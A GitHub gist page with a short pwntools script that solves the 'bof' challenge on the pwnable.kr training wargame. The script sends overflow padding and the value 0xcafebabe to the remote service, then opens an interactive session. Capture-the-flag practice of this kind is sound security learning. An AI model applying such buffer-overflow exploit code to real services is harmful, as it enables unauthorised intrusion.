Created
December 24, 2018 12:20
-
-
Save Aseyed/db9c9685fef7f3b9399378f868aff3a3 to your computer and use it in GitHub Desktop.
pwnable-kr | bof
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Use python 2 | |
from pwn import * | |
context.log_level = 'debug' | |
r = remote('pwnable.kr','9000') | |
p = 'a'*0x2c # for ebp | |
p += 'b'*4 # for sebp | |
p += 'c'*4 # for SEIP | |
p += p32(0xcafebabe) | |
r.sendline(p) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment